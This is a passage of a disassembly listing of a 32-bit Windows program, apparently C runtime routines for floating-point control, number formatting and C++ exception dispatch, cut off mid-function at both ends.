loc_411C43: ; CODE XREF: sub_411BDE+5Fj
shl dword ptr [ebp+arg_0], 1
dec esi
jmp short loc_411C30
; ---------------------------------------------------------------------------
loc_411C49: ; CODE XREF: sub_411BDE+56j
and word ptr [ebp+arg_0+6], 0FFEFh
cmp eax, ecx
jz short loc_411C57
or byte ptr [ebp+arg_0+7], 80h
loc_411C57: ; CODE XREF: sub_411BDE+73j
fld [ebp+arg_0]
push ecx ; int
push ecx
push ecx ; double
fstp [esp+18h+var_18]
call sub_411B5B
fstp [ebp+var_8]
add esp, 0Ch
jmp short loc_411C94
; ---------------------------------------------------------------------------
loc_411C6D: ; CODE XREF: sub_411BDE+28j
; sub_411BDE+36j
fld [ebp+arg_0]
push ecx ; int
push ecx
push ecx ; double
fstp [esp+18h+var_18]
call sub_411B5B
mov eax, dword ptr [ebp+arg_0+6]
add esp, 0Ch
fstp [ebp+var_8]
shr eax, 4
and ax, 7FFh
movsx esi, ax
sub esi, 3FEh
loc_411C94: ; CODE XREF: sub_411BDE+1Bj
; sub_411BDE+8Dj
mov eax, [ebp+arg_8]
fld [ebp+var_8]
mov [eax], esi
pop esi
leave
retn
sub_411BDE endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411C9F proc near ; CODE XREF: sub_41157F+F6p
var_2 = word ptr -2
push ebp
mov ebp, esp
push ecx
fstsw [ebp+var_2]
movsx eax, [ebp+var_2]
leave
retn
sub_411C9F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411CAD proc near ; CODE XREF: sub_41157F+206p
var_2 = word ptr -2
push ebp
mov ebp, esp
push ecx
fnstsw [ebp+var_2]
fnclex
movsx eax, [ebp+var_2]
leave
retn
sub_411CAD endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411CBC proc near ; CODE XREF: sub_40CDEA+13p
; sub_40CDEA+5Dp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
fstcw word ptr [ebp+var_4]
mov eax, [ebp+arg_4]
mov ecx, eax
and eax, [ebp+arg_0]
not ecx
and ecx, [ebp+var_4]
or ecx, eax
mov [ebp+arg_4], ecx
fldcw word ptr [ebp+arg_4]
movsx eax, word ptr [ebp+var_4]
leave
retn
sub_411CBC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411CDF proc near ; CODE XREF: sub_411832+1Dp
; sub_411832+37p ...
var_8 = qword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov cl, byte ptr [ebp+arg_0]
test cl, 1
jz short loc_411CF6
fld tbyte_421DB8
fistp [ebp+arg_0]
wait
loc_411CF6: ; CODE XREF: sub_411CDF+Bj
test cl, 8
jz short loc_411D0B
fstsw ax
fld tbyte_421DB8
fstp [ebp+var_8]
wait
fstsw ax
loc_411D0B: ; CODE XREF: sub_411CDF+1Aj
test cl, 10h
jz short loc_411D1A
fld tbyte_421DC4
fstp [ebp+var_8]
wait
loc_411D1A: ; CODE XREF: sub_411CDF+2Fj
test cl, 4
jz short loc_411D28
fldz
fld1
fdivrp st(1), st
fstp st
wait
loc_411D28: ; CODE XREF: sub_411CDF+3Ej
test cl, 20h
jz short locret_411D33
fldpi
fstp [ebp+var_8]
wait
locret_411D33: ; CODE XREF: sub_411CDF+4Cj
leave
retn
sub_411CDF endp
; =============== S U B R O U T I N E =======================================
sub_411D35 proc near ; CODE XREF: sub_40CEB9+Fp
push 30000h
push 10000h
call sub_414CC5
pop ecx
pop ecx
retn
sub_411D35 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411D47 proc near ; CODE XREF: sub_411D85:loc_411DA9j
var_18 = qword ptr -18h
var_10 = qword ptr -10h
var_8 = qword ptr -8
push ebp
mov ebp, esp
sub esp, 18h
fld dbl_4187B8
fstp [ebp+var_8]
fld dbl_4187B0
fstp [ebp+var_10]
fld [ebp+var_10]
fdiv [ebp+var_8]
fmul [ebp+var_8]
fsubr [ebp+var_10]
fstp [ebp+var_18]
fld [ebp+var_18]
fcomp dbl_418638
fnstsw ax
sahf
jbe short loc_411D81
push 1
pop eax
leave
retn
; ---------------------------------------------------------------------------
loc_411D81: ; CODE XREF: sub_411D47+33j
xor eax, eax
leave
retn
sub_411D47 endp
; =============== S U B R O U T I N E =======================================
sub_411D85 proc near ; CODE XREF: sub_40CEB9+5p
push offset aKernel32 ; "KERNEL32"
call dword_418094 ; GetModuleHandleA
test eax, eax
jz short loc_411DA9
push offset aIsprocessorfea ; "IsProcessorFeaturePresent"
push eax
call dword_418090 ; GetProcAddress
test eax, eax
jz short loc_411DA9
push 0
call eax ; sub_40CEB9
retn
; ---------------------------------------------------------------------------
loc_411DA9: ; CODE XREF: sub_411D85+Dj
; sub_411D85+1Dj
jmp sub_411D47
sub_411D85 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_411DAE proc near ; CODE XREF: sub_40EDD8+3CBp
; DATA XREF: sub_40CED1+1Eo ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
movsx eax, byte ptr [esi]
push eax
call sub_40E530
cmp eax, 65h
pop ecx
jz short loc_411DEE
loc_411DC2: ; CODE XREF: sub_411DAE+3Ej
inc esi
cmp dword_422004, 1
jle short loc_411DDB
movsx eax, byte ptr [esi]
push 4
push eax
call sub_412B49
pop ecx
pop ecx
jmp short loc_411DEA
; ---------------------------------------------------------------------------
loc_411DDB: ; CODE XREF: sub_411DAE+1Cj
movsx eax, byte ptr [esi]
mov ecx, off_421DF8
mov al, [ecx+eax*2]
and eax, 4
loc_411DEA: ; CODE XREF: sub_411DAE+2Bj
test eax, eax
jnz short loc_411DC2
loc_411DEE: ; CODE XREF: sub_411DAE+12j
mov cl, byte_422008
mov al, [esi]
mov [esi], cl
inc esi
loc_411DF9: ; CODE XREF: sub_411DAE+56j
mov cl, [esi]
mov [esi], al
mov al, cl
mov cl, [esi]
inc esi
test cl, cl
jnz short loc_411DF9
pop esi
retn
sub_411DAE endp
; =============== S U B R O U T I N E =======================================
sub_411E08 proc near ; CODE XREF: sub_40EDD8+3E2p
; DATA XREF: sub_40CED1+5o ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov dl, byte_422008
mov cl, [eax]
test cl, cl
jz short loc_411E24
loc_411E18: ; CODE XREF: sub_411E08+1Aj
cmp cl, dl
jz short loc_411E24
mov cl, [eax+1]
inc eax
test cl, cl
jnz short loc_411E18
loc_411E24: ; CODE XREF: sub_411E08+Ej
; sub_411E08+12j
mov cl, [eax]
inc eax
test cl, cl
jz short locret_411E55
loc_411E2B: ; CODE XREF: sub_411E08+34j
mov cl, [eax]
test cl, cl
jz short loc_411E3E
cmp cl, 65h
jz short loc_411E3E
cmp cl, 45h
jz short loc_411E3E
inc eax
jmp short loc_411E2B
; ---------------------------------------------------------------------------
loc_411E3E: ; CODE XREF: sub_411E08+27j
; sub_411E08+2Cj ...
mov ecx, eax
loc_411E40: ; CODE XREF: sub_411E08+3Cj
dec eax
cmp byte ptr [eax], 30h
jz short loc_411E40
cmp [eax], dl
jnz short loc_411E4B
dec eax
loc_411E4B: ; CODE XREF: sub_411E08+40j
; sub_411E08+4Bj
mov dl, [ecx]
inc eax
inc ecx
test dl, dl
mov [eax], dl
jnz short loc_411E4B
locret_411E55: ; CODE XREF: sub_411E08+21j
retn
sub_411E08 endp
; =============== S U B R O U T I N E =======================================
sub_411E56 proc near ; DATA XREF: sub_40CED1+28o
; .nsp0:off_421DE0o
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
fld qword ptr [eax]
fcomp dbl_4187A8
fnstsw ax
sahf
jb short loc_411E6B
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_411E6B: ; CODE XREF: sub_411E56+Fj
xor eax, eax
retn
sub_411E56 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411E6E proc near ; CODE XREF: sub_40F5E2+430p
; DATA XREF: sub_40CED1+14o ...
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
cmp [ebp+arg_0], 0
push [ebp+arg_8]
jz short loc_411E97
lea eax, [ebp+var_8]
push eax
call sub_415188
mov eax, [ebp+arg_4]
pop ecx
pop ecx
mov ecx, [ebp+var_8]
mov [eax], ecx
mov ecx, [ebp+var_4]
mov [eax+4], ecx
leave
retn
; ---------------------------------------------------------------------------
loc_411E97: ; CODE XREF: sub_411E6E+Cj
lea eax, [ebp+arg_8]
push eax
call sub_4151B5
mov eax, [ebp+arg_4]
pop ecx
pop ecx
mov ecx, [ebp+arg_8]
mov [eax], ecx
leave
retn
sub_411E6E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411EAC proc near ; CODE XREF: sub_412129+17p
; sub_412173+47p
var_10 = qword ptr -10h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp byte_481E24, 0
push ebx
push esi
jz short loc_411EE1
mov ebx, [ebp+arg_8]
mov eax, dword_481E20
xor ecx, ecx
mov esi, eax
test ebx, ebx
setnle cl
push ecx
xor ecx, ecx
cmp dword ptr [eax], 2Dh
setz cl
add ecx, [ebp+arg_4]
push ecx
call sub_4121C4
pop ecx
pop ecx
jmp short loc_411F19
; ---------------------------------------------------------------------------
loc_411EE1: ; CODE XREF: sub_411EAC+Cj
mov eax, [ebp+arg_0]
push ecx
push ecx
fld qword ptr [eax]
fstp [esp+10h+var_10]
call sub_415259
mov ebx, [ebp+arg_8]
mov esi, eax
push esi
mov edx, [ebp+arg_4]
lea eax, [ebx+1]
push eax
xor eax, eax
cmp dword ptr [esi], 2Dh
setz al
xor ecx, ecx
test ebx, ebx
setnle cl
add edx, eax
add ecx, edx
push ecx
call sub_4151E2
add esp, 14h
loc_411F19: ; CODE XREF: sub_411EAC+33j
cmp dword ptr [esi], 2Dh
mov eax, [ebp+arg_4]
jnz short loc_411F25
mov byte ptr [eax], 2Dh
inc eax
loc_411F25: ; CODE XREF: sub_411EAC+73j
test ebx, ebx
jle short loc_411F3D
mov cl, [eax+1]
push edi
lea edi, [eax+1]
mov [eax], cl
mov cl, byte_422008
mov eax, edi
pop edi
mov [eax], cl
loc_411F3D: ; CODE XREF: sub_411EAC+7Bj
xor ecx, ecx
push offset aE000 ; "e+000"
cmp byte_481E24, cl
setz cl
add ecx, eax
add ecx, ebx
push ecx
call sub_40E3C0
cmp [ebp+arg_C], 0
pop ecx
pop ecx
mov ecx, eax
jz short loc_411F64
mov byte ptr [ecx], 45h
loc_411F64: ; CODE XREF: sub_411EAC+B3j
mov eax, [esi+0Ch]
inc ecx
cmp byte ptr [eax], 30h
jz short loc_411FA9
mov ebx, [esi+4]
dec ebx
jns short loc_411F78
neg ebx
mov byte ptr [ecx], 2Dh
loc_411F78: ; CODE XREF: sub_411EAC+C5j
inc ecx
cmp ebx, 64h
jl short loc_411F8F
mov eax, ebx
push 64h
cdq
pop esi
idiv esi
add [ecx], al
mov eax, ebx
cdq
idiv esi
mov ebx, edx
loc_411F8F: ; CODE XREF: sub_411EAC+D0j
inc ecx
cmp ebx, 0Ah
jl short loc_411FA6
mov eax, ebx
push 0Ah
cdq
pop esi
idiv esi
add [ecx], al
mov eax, ebx
cdq
idiv esi
mov ebx, edx
loc_411FA6: ; CODE XREF: sub_411EAC+E7j
add [ecx+1], bl
loc_411FA9: ; CODE XREF: sub_411EAC+BFj
mov eax, [ebp+arg_4]
pop esi
pop ebx
pop ebp
retn
sub_411EAC endp
; =============== S U B R O U T I N E =======================================
sub_411FB0 proc near ; CODE XREF: sub_412150+13p
; sub_412173+1Ep
var_18 = qword ptr -18h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
cmp byte_481E24, 0
push ebx
push ebp
mov ebp, [esp+8+arg_4]
push esi
push edi
jz short loc_411FEB
mov eax, dword_481E28
mov ebx, [esp+10h+arg_8]
mov esi, dword_481E20
cmp eax, ebx
jnz short loc_41201B
xor ecx, ecx
cmp dword ptr [esi], 2Dh
setz cl
add ecx, eax
add ecx, ebp
mov eax, ecx
mov byte ptr [eax], 30h
and byte ptr [eax+1], 0
jmp short loc_41201B
; ---------------------------------------------------------------------------
loc_411FEB: ; CODE XREF: sub_411FB0+Fj
mov eax, [esp+10h+arg_0]
push ecx
push ecx
fld qword ptr [eax]
fstp [esp+18h+var_18]
call sub_415259
mov ebx, [esp+18h+arg_8]
mov esi, eax
push esi
mov eax, [esi+4]
add eax, ebx
push eax
xor eax, eax
cmp dword ptr [esi], 2Dh
setz al
add eax, ebp
push eax
call sub_4151E2
add esp, 14h
loc_41201B: ; CODE XREF: sub_411FB0+22j
; sub_411FB0+39j
cmp dword ptr [esi], 2Dh
mov edi, ebp
jnz short loc_412029
mov byte ptr [ebp+0], 2Dh
lea edi, [ebp+1]
loc_412029: ; CODE XREF: sub_411FB0+70j
mov eax, [esi+4]
test eax, eax
jg short loc_412040
push 1
push edi
call sub_4121C4
pop ecx
mov byte ptr [edi], 30h
pop ecx
inc edi
jmp short loc_412042
; ---------------------------------------------------------------------------
loc_412040: ; CODE XREF: sub_411FB0+7Ej
add edi, eax
loc_412042: ; CODE XREF: sub_411FB0+8Ej
test ebx, ebx
jle short loc_412087
push 1
push edi
call sub_4121C4
mov al, byte_422008
pop ecx
mov [edi], al
mov esi, [esi+4]
inc edi
pop ecx
test esi, esi
jge short loc_412087
cmp byte_481E24, 0
jz short loc_41206C
neg esi
jmp short loc_412072
; ---------------------------------------------------------------------------
loc_41206C: ; CODE XREF: sub_411FB0+B6j
neg esi
cmp ebx, esi
jl short loc_412074
loc_412072: ; CODE XREF: sub_411FB0+BAj
mov ebx, esi
loc_412074: ; CODE XREF: sub_411FB0+C0j
push ebx
push edi
call sub_4121C4
push ebx
push 30h
push edi
call sub_40CC40
add esp, 14h
loc_412087: ; CODE XREF: sub_411FB0+94j
; sub_411FB0+ADj
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_411FB0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41208E proc near ; CODE XREF: sub_412173+34p
var_14 = qword ptr -14h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, [ebp+arg_0]
push ecx
push ecx
fld qword ptr [edi]
fstp [esp+14h+var_14]
call sub_415259
mov dword_481E20, eax
mov ecx, [eax+4]
dec ecx
mov ebx, [ebp+arg_8]
mov dword_481E28, ecx
xor ecx, ecx
cmp dword ptr [eax], 2Dh
push eax
push ebx
setz cl
add ecx, [ebp+arg_4]
mov esi, ecx
push esi
call sub_4151E2
mov eax, dword_481E20
add esp, 14h
mov ecx, [eax+4]
dec ecx
cmp dword_481E28, ecx
setl cl
mov byte_481E2C, cl
mov eax, [eax+4]
dec eax
cmp eax, 0FFFFFFFCh
mov dword_481E28, eax
jl short loc_412114
cmp eax, ebx
jge short loc_412114
test cl, cl
jz short loc_412105
loc_4120FB: ; CODE XREF: sub_41208E+72j
mov al, [esi]
inc esi
test al, al
jnz short loc_4120FB
and [esi-2], al
loc_412105: ; CODE XREF: sub_41208E+6Bj
push ebx
push [ebp+arg_4]
push edi
call sub_412150
add esp, 0Ch
jmp short loc_412124
; ---------------------------------------------------------------------------
loc_412114: ; CODE XREF: sub_41208E+63j
; sub_41208E+67j
push [ebp+arg_C]
push ebx
push [ebp+arg_4]
push edi
call sub_412129
add esp, 10h
loc_412124: ; CODE XREF: sub_41208E+84j
pop edi
pop esi
pop ebx
pop ebp
retn
sub_41208E endp
; =============== S U B R O U T I N E =======================================
sub_412129 proc near ; CODE XREF: sub_41208E+8Ep
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push [esp+arg_C]
mov byte_481E24, 1
push [esp+4+arg_8]
push [esp+8+arg_4]
push [esp+0Ch+arg_0]
call sub_411EAC
and byte_481E24, 0
add esp, 10h
retn
sub_412129 endp
; =============== S U B R O U T I N E =======================================
sub_412150 proc near ; CODE XREF: sub_41208E+7Cp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push [esp+arg_8]
mov byte_481E24, 1
push [esp+4+arg_4]
push [esp+8+arg_0]
call sub_411FB0
and byte_481E24, 0
add esp, 0Ch
retn
sub_412150 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412173 proc near ; CODE XREF: sub_40EDD8+3AAp
; DATA XREF: sub_40CED1o ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
cmp [ebp+arg_8], 65h
jz short loc_4121AE
cmp [ebp+arg_8], 45h
jz short loc_4121AE
cmp [ebp+arg_8], 66h
jnz short loc_41219B
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_411FB0
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
loc_41219B: ; CODE XREF: sub_412173+13j
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41208E
jmp short loc_4121BF
; ---------------------------------------------------------------------------
loc_4121AE: ; CODE XREF: sub_412173+7j
; sub_412173+Dj
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_411EAC
loc_4121BF: ; CODE XREF: sub_412173+39j
add esp, 10h
pop ebp
retn
sub_412173 endp
; =============== S U B R O U T I N E =======================================
sub_4121C4 proc near ; CODE XREF: sub_411EAC+2Cp
; sub_411FB0+83p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push edi
mov edi, [esp+4+arg_4]
test edi, edi
jz short loc_4121E7
push esi
mov esi, [esp+8+arg_0]
push esi
call sub_40CBC0
inc eax
push eax
push esi
add esi, edi
push esi
call sub_40D460
add esp, 10h
pop esi
loc_4121E7: ; CODE XREF: sub_4121C4+7j
pop edi
retn
sub_4121C4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4121E9 proc near ; CODE XREF: .nsp0:0040D0B4p
; sub_40D11D+1Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_10]
push edi
mov edi, 19930520h
cmp [esi], edi
jz short loc_4121FF
call sub_412A92
loc_4121FF: ; CODE XREF: sub_4121E9+Fj
mov eax, [ebp+arg_0]
test byte ptr [eax+4], 66h
jz short loc_412227
cmp dword ptr [esi+4], 0
jz short loc_41227D
cmp [ebp+arg_14], 0
jnz short loc_41227D
push 0FFFFFFFFh
push esi
push [ebp+arg_C]
push [ebp+arg_4]
call sub_412530
add esp, 10h
jmp short loc_41227D
; ---------------------------------------------------------------------------
loc_412227: ; CODE XREF: sub_4121E9+1Dj
cmp dword ptr [esi+0Ch], 0
jz short loc_41227D
cmp dword ptr [eax], 0E06D7363h
jnz short loc_412261
cmp [eax+14h], edi
jbe short loc_412261
mov ecx, [eax+1Ch]
mov ecx, [ecx+8]
test ecx, ecx
jz short loc_412261
movzx edx, byte ptr [ebp+arg_1C]
push edx
push [ebp+arg_18]
push [ebp+arg_14]
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call ecx
add esp, 20h
jmp short loc_412280
; ---------------------------------------------------------------------------
loc_412261: ; CODE XREF: sub_4121E9+4Aj
; sub_4121E9+4Fj ...
push [ebp+arg_18]
push [ebp+arg_14]
push [ebp+arg_1C]
push esi
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push eax
call sub_412284
add esp, 20h
loc_41227D: ; CODE XREF: sub_4121E9+23j
; sub_4121E9+29j ...
push 1
pop eax
loc_412280: ; CODE XREF: sub_4121E9+76j
pop edi
pop esi
pop ebp
retn
sub_4121E9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412284 proc near ; CODE XREF: sub_4121E9+8Cp
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = byte ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 18h
mov eax, [ebp+arg_4]
and byte ptr [ebp+var_14], 0
mov eax, [eax+8]
cmp eax, 0FFFFFFFFh
mov [ebp+var_10], eax
jl short loc_4122A4
mov ecx, [ebp+arg_10]
cmp eax, [ecx+4]
jl short loc_4122A9
loc_4122A4: ; CODE XREF: sub_412284+16j
call sub_412A92
loc_4122A9: ; CODE XREF: sub_412284+1Ej
push ebx
push esi
mov esi, [ebp+arg_0]
mov ebx, 0E06D7363h
push edi
mov edi, 19930520h
cmp [esi], ebx
jnz loc_412400
cmp dword ptr [esi+10h], 3
jnz short loc_41231D
cmp [esi+14h], edi
jnz short loc_41231D
cmp dword ptr [esi+1Ch], 0
jnz short loc_41231D
mov esi, dword_481E30
test esi, esi
jz loc_4123FB
mov eax, dword_481E34
push 1
push esi
mov [ebp+arg_8], eax
mov byte ptr [ebp+var_14], 1
call sub_4153E0
pop ecx
test eax, eax
pop ecx
jnz short loc_4122FF
call sub_412A92
loc_4122FF: ; CODE XREF: sub_412284+74j
cmp [esi], ebx
jnz loc_412400
cmp dword ptr [esi+10h], 3
jnz short loc_41231D
cmp [esi+14h], edi
jnz short loc_41231D
cmp dword ptr [esi+1Ch], 0
jnz short loc_41231D
call sub_412A92
loc_41231D: ; CODE XREF: sub_412284+41j
; sub_412284+46j ...
cmp [esi], ebx
jnz loc_412400
cmp dword ptr [esi+10h], 3
jnz loc_412400
cmp [esi+14h], edi
jnz loc_412400
mov edi, [ebp+var_10]
lea eax, [ebp+var_18]
push eax
lea eax, [ebp+var_4]
push eax
push edi
push [ebp+arg_18]
push [ebp+arg_10]
call sub_40D26B
add esp, 14h
mov ebx, eax
loc_412354: ; CODE XREF: sub_412284+162j
mov eax, [ebp+var_4]
cmp eax, [ebp+var_18]
jnb loc_4123EB
cmp [ebx], edi
jg short loc_4123E0
cmp edi, [ebx+4]
jg short loc_4123E0
mov eax, [ebx+10h]
mov [ebp+arg_0], eax
mov eax, [ebx+0Ch]
test eax, eax
mov [ebp+var_C], eax
jle short loc_4123DD
loc_412379: ; CODE XREF: sub_412284+131j
mov eax, [esi+1Ch]
mov eax, [eax+0Ch]
lea edi, [eax+4]
mov eax, [eax]
test eax, eax
mov [ebp+var_8], eax
jle short loc_4123AA
loc_41238B: ; CODE XREF: sub_412284+124j
push dword ptr [esi+1Ch]
push dword ptr [edi]
push [ebp+arg_0]
call sub_4124D3
add esp, 0Ch
test eax, eax
jnz short loc_4123B9
dec [ebp+var_8]
add edi, 4
cmp [ebp+var_8], eax
jg short loc_41238B
loc_4123AA: ; CODE XREF: sub_412284+105j
dec [ebp+var_C]
add [ebp+arg_0], 10h
cmp [ebp+var_C], 0
jg short loc_412379
jmp short loc_4123DD
; ---------------------------------------------------------------------------
loc_4123B9: ; CODE XREF: sub_412284+119j
push [ebp+var_14]
push [ebp+arg_1C]
push [ebp+arg_18]
push ebx
push dword ptr [edi]
push [ebp+arg_0]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call sub_4125E4
add esp, 2Ch
loc_4123DD: ; CODE XREF: sub_412284+F3j
; sub_412284+133j
mov edi, [ebp+var_10]
loc_4123E0: ; CODE XREF: sub_412284+DEj
; sub_412284+E3j
inc [ebp+var_4]
add ebx, 14h
jmp loc_412354
; ---------------------------------------------------------------------------
loc_4123EB: ; CODE XREF: sub_412284+D6j
cmp [ebp+arg_14], 0
jz short loc_4123FB
push 1
push esi
call sub_412959
pop ecx
pop ecx
loc_4123FB: ; CODE XREF: sub_412284+56j
; sub_412284+16Bj ...
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_412400: ; CODE XREF: sub_412284+37j
; sub_412284+7Dj ...
cmp [ebp+arg_14], 0
jnz short loc_412426
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+var_10]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call sub_41242B
add esp, 20h
jmp short loc_4123FB
; ---------------------------------------------------------------------------
loc_412426: ; CODE XREF: sub_412284+180j
jmp sub_412A3C
sub_412284 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41242B proc near ; CODE XREF: sub_412284+198p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push ecx
push ecx
cmp dword_481E38, 0
push esi
push edi
jz short loc_41245C
push [ebp+arg_1C]
push [ebp+arg_18]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_40D142
add esp, 1Ch
test eax, eax
jnz short loc_4124CF
loc_41245C: ; CODE XREF: sub_41242B+Ej
mov edi, [ebp+arg_14]
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
push edi
push [ebp+arg_18]
push [ebp+arg_10]
call sub_40D26B
add esp, 14h
mov esi, eax
loc_412478: ; CODE XREF: sub_41242B+A2j
mov eax, [ebp+var_4]
cmp eax, [ebp+var_8]
jnb short loc_4124CF
cmp edi, [esi]
jl short loc_4124C7
cmp edi, [esi+4]
jg short loc_4124C7
mov eax, [esi+0Ch]
mov ecx, [esi+10h]
shl eax, 4
add eax, ecx
mov ecx, [eax-0Ch]
test ecx, ecx
jz short loc_4124A1
cmp byte ptr [ecx+8], 0
jnz short loc_4124C7
loc_4124A1: ; CODE XREF: sub_41242B+6Ej
push 1
add eax, 0FFFFFFF0h
push [ebp+arg_1C]
push [ebp+arg_18]
push esi
push 0
push eax
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_4125E4
add esp, 2Ch
loc_4124C7: ; CODE XREF: sub_41242B+57j
; sub_41242B+5Cj ...
inc [ebp+var_4]
add esi, 14h
jmp short loc_412478
; ---------------------------------------------------------------------------
loc_4124CF: ; CODE XREF: sub_41242B+2Fj
; sub_41242B+53j
pop edi
pop esi
leave
retn
sub_41242B endp
; =============== S U B R O U T I N E =======================================
sub_4124D3 proc near ; CODE XREF: sub_412284+10Fp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push esi
push edi
mov edi, [esp+8+arg_0]
mov eax, [edi+4]
test eax, eax
jz short loc_41252A
cmp byte ptr [eax+8], 0
lea edx, [eax+8]
jz short loc_41252A
mov esi, [esp+8+arg_4]
mov ecx, [esi+4]
cmp eax, ecx
jz short loc_412504
add ecx, 8
push ecx
push edx
call sub_40D860
pop ecx
test eax, eax
pop ecx
jnz short loc_412526
loc_412504: ; CODE XREF: sub_4124D3+1Fj
test byte ptr [esi], 2
jz short loc_41250E
test byte ptr [edi], 8
jz short loc_412526
loc_41250E: ; CODE XREF: sub_4124D3+34j
mov eax, [esp+8+arg_8]
mov eax, [eax]
test al, 1
jz short loc_41251D
test byte ptr [edi], 1
jz short loc_412526
loc_41251D: ; CODE XREF: sub_4124D3+43j
test al, 2
jz short loc_41252A
test byte ptr [edi], 2
jnz short loc_41252A
loc_412526: ; CODE XREF: sub_4124D3+2Fj
; sub_4124D3+39j ...
xor eax, eax
jmp short loc_41252D
; ---------------------------------------------------------------------------
loc_41252A: ; CODE XREF: sub_4124D3+Bj
; sub_4124D3+14j ...
push 1
pop eax
loc_41252D: ; CODE XREF: sub_4124D3+55j
pop edi
pop esi
retn
sub_4124D3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412530 proc near ; CODE XREF: sub_4121E9+34p
; sub_4125E4+42p
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_4187F0
push offset sub_414568
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 0Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
mov ebx, [ebp+arg_0]
mov esi, [ebx+8]
mov [ebp+var_1C], esi
mov edi, [ebp+arg_8]
loc_412562: ; CODE XREF: sub_412530+8Aj
cmp esi, [ebp+arg_C]
jz short loc_4125BC
cmp esi, 0FFFFFFFFh
jle short loc_412571
cmp esi, [edi+4]
jl short loc_412576
loc_412571: ; CODE XREF: sub_412530+3Aj
call sub_412A92
loc_412576: ; CODE XREF: sub_412530+3Fj
and [ebp+var_4], 0
mov eax, [edi+8]
mov eax, [eax+esi*8+4]
test eax, eax
